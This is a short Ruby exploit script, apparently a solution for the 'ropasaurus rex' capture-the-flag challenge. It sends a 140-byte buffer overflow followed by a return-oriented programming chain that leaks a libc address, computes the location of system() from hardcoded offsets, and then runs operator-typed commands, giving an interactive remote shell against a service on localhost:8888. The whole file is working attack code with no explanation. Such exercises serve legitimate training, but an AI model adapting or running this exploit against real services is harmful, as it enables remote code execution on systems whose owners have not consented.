hax.rb

#!/usr/bin/env ruby
# exploit for ropasaurus rex by crowell
require 'socket'

ADDR = "localhost"
PORT = 8888

readplt = 0x0804832c
writeplt = 0x0804830c
read_got = 0x0804961c
vuln_addr = 0x080483F4
lcsystem = 0x39450
lcread = 0xbf110
pppr = 0x080484b6

# on minishwoods
lcsystem = 0x404c0
lcread = 0xdb870
# end minishwoods
system_offset = lcread - lcsystem

loop do
  print "shell: "
  command = $stdin.gets.chomp!
  overwriteAddr = 0x08049530
  leak_rop = [writeplt, pppr, 1, read_got, 4].pack("VVVVV")
  write_cmd = [readplt, pppr, 0, overwriteAddr, command.size + 1].pack("VVVVV")
  vuln_fun = [vuln_addr].pack("V")
  @s = TCPSocket.open(ADDR, PORT)
  stage1 = "A" * 140
  stage1 = stage1 + leak_rop + write_cmd + vuln_fun
  @s.write(stage1)
  sleep(0.1)
  @s.write(command + "\x00")
  leakedGOT = @s.recv(4).unpack("V")[0]
  system_addr = leakedGOT - system_offset
  puts system_addr.to_s(16)
  stage2 = "A" * 140
  stage2 = stage2 + [system_addr, 0xb16b00b5, overwriteAddr].pack("VVV")
  @s.write(stage2)
  puts @s.recv(9999)
end